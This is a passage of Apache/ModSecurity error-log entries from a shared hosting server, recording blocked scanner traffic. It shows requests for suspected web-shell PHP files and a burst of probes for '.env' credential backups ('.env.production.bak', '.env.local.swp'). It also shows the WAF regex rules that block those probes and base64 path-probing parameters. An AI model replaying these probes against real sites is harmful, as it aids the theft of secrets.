https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:48.803175 2026] [security2:error] [pid 531797:tid 532115] [client 20.9.67.71:36129] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/ops.php"] [unique_id "ai3xiMTA7b1mZrmcA-8nnwAAAog"] [Sat Jun 13 18:10:48.830677 2026] [security2:error] [pid 531797:tid 532027] [client 191.233.234.186:40273] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/h2a2ck.php"] [unique_id "ai3xiMTA7b1mZrmcA-8noQAAAjM"] [Sat Jun 13 18:10:48.985422 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:10:48.985761 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:10:48.999552 2026] [security2:error] [pid 531797:tid 532097] [client 191.234.188.123:48036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/bhm.php"] [unique_id "ai3xiMTA7b1mZrmcA-8nqAAAAnY"] [Sat Jun 13 18:10:49.311251 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.29:65037] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:49.311530 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.29:65037] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:49.342417 2026] [security2:error] [pid 531797:tid 532054] [client 52.139.36.182:20798] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.36.139.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.minitouchrugby.nucreativesolutions.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xicTA7b1mZrmcA-8nsQAAAkw"] [Sat Jun 13 18:10:49.368186 2026] [security2:error] [pid 531155:tid 531167] [remote 17.241.227.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiSmiP80klyS0Nnr5iAABTAs"] [Sat Jun 13 18:10:49.408009 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:49.408451 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:49.434510 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.7:29667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:49.434878 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.7:29667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:49.470820 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.39:37054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:49.471234 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.39:37054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:49.502402 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:49.502857 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:49.630539 2026] [security2:error] [pid 531155:tid 531342] [client 20.9.67.71:47582] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/asu.php"] [unique_id "ai3xiSmiP80klyS0Nnr5lwAAAUM"] [Sat Jun 13 18:10:49.637754 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.106:31655] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:49.638194 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.106:31655] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:49.663223 2026] [security2:error] [pid 531797:tid 532106] [client 20.9.67.71:36212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/fix.php"] [unique_id "ai3xicTA7b1mZrmcA-8nuAAAAn8"] [Sat Jun 13 18:10:49.692676 2026] [security2:error] [pid 531797:tid 531889] [remote 17.241.219.195:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 195.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xicTA7b1mZrmcA-8nuwACOhk"] [Sat Jun 13 18:10:49.714613 2026] [security2:error] [pid 531797:tid 531998] [client 208.84.100.62:38236] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.old"] [unique_id "ai3xicTA7b1mZrmcA-8nvQAAAhY"] [Sat Jun 13 18:10:49.716552 2026] [security2:error] [pid 531797:tid 532045] [client 208.84.100.62:38244] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.backup"] [unique_id "ai3xicTA7b1mZrmcA-8nvwAAAkQ"] [Sat Jun 13 18:10:49.718552 2026] [security2:error] [pid 531797:tid 532032] [client 208.84.100.62:38134] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.swp"] [unique_id "ai3xicTA7b1mZrmcA-8nwQAAAjc"] [Sat Jun 13 18:10:49.720687 2026] [security2:error] [pid 531155:tid 531350] [client 208.84.100.62:38150] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.orig"] [unique_id "ai3xiSmiP80klyS0Nnr5pQAAAUs"] [Sat Jun 13 18:10:49.720797 2026] [security2:error] [pid 531797:tid 532063] [client 208.84.100.62:38222] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.bak"] [unique_id "ai3xicTA7b1mZrmcA-8nxAAAAlU"] [Sat Jun 13 18:10:49.720962 2026] [security2:error] [pid 531155:tid 531312] [client 208.84.100.62:38260] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.orig"] [unique_id "ai3xiSmiP80klyS0Nnr5nQAAASU"] [Sat Jun 13 18:10:49.723540 2026] [security2:error] [pid 531155:tid 531404] [client 208.84.100.62:38252] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production~"] [unique_id "ai3xiSmiP80klyS0Nnr5nwAAAYE"] [Sat Jun 13 18:10:49.723932 2026] [security2:error] [pid 531155:tid 531371] [client 208.84.100.62:38220] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.copy"] [unique_id "ai3xiSmiP80klyS0Nnr5pAAAAWA"] [Sat Jun 13 18:10:49.724040 2026] [security2:error] [pid 531155:tid 531384] [client 208.84.100.62:38256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.swp"] [unique_id "ai3xiSmiP80klyS0Nnr5ngAAAW0"] [Sat Jun 13 18:10:49.724143 2026] [security2:error] [pid 531797:tid 532119] [client 208.84.100.62:38168] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.backup"] [unique_id "ai3xicTA7b1mZrmcA-8nvgAAAos"] [Sat Jun 13 18:10:49.725017 2026] [security2:error] [pid 531797:tid 532018] [client 208.84.100.62:38156] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.copy"] [unique_id "ai3xicTA7b1mZrmcA-8nxQAAAio"] [Sat Jun 13 18:10:49.725020 2026] [security2:error] [pid 531797:tid 532005] [client 208.84.100.62:38208] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.orig"] [unique_id "ai3xicTA7b1mZrmcA-8nwAAAAh0"] [Sat Jun 13 18:10:49.725020 2026] [security2:error] [pid 531797:tid 532099] [client 208.84.100.62:38192] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.swp"] [unique_id "ai3xicTA7b1mZrmcA-8nwwAAAng"] [Sat Jun 13 18:10:49.725031 2026] [security2:error] [pid 531797:tid 532075] [client 208.84.100.62:38190] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local~"] [unique_id "ai3xicTA7b1mZrmcA-8nwgAAAmE"] [Sat Jun 13 18:10:49.725669 2026] [security2:error] [pid 531797:tid 532064] [client 208.84.100.62:38088] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.bak"] [unique_id "ai3xicTA7b1mZrmcA-8nxwAAAlY"] [Sat Jun 13 18:10:49.725745 2026] [security2:error] [pid 531797:tid 532079] [client 208.84.100.62:38130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env~"] [unique_id "ai3xicTA7b1mZrmcA-8nxgAAAmU"] [Sat Jun 13 18:10:49.726228 2026] [security2:error] [pid 531797:tid 531997] [client 208.84.100.62:38162] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.local.old"] [unique_id "ai3xicTA7b1mZrmcA-8nyQAAAhU"] [Sat Jun 13 18:10:49.932645 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.96:20531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:49.932971 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.96:20531] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:49.972916 2026] [security2:error] [pid 531155:tid 531202] [remote 17.246.19.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiSmiP80klyS0Nnr5sgABYS4"] [Sat Jun 13 18:10:50.026431 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2Ux [Sat Jun 13 18:10:50.026941 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2Ux [Sat Jun 13 18:10:50.063011 2026] [security2:error] [pid 531797:tid 531886] [remote 77.97.27.184:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xisTA7b1mZrmcA-8nzQACbBY"], referer: https://www.torquayfans.com [Sat Jun 13 18:10:50.063049 2026] [security2:error] [pid 531797:tid 531886] [remote 77.97.27.184:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xisTA7b1mZrmcA-8nzQACbBY"], referer: https://www.torquayfans.com [Sat Jun 13 18:10:50.079317 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:50.079767 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:50.275615 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.54:57339] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:50.275922 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.54:57339] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:50.324268 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.55:21051] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:50.324542 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.55:21051] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:50.473683 2026] [security2:error] [pid 531155:tid 531347] [client 87.250.224.15:46410] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3xiimiP80klyS0Nnr5wgAAAUg"] [Sat Jun 13 18:10:50.536112 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:50.536368 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 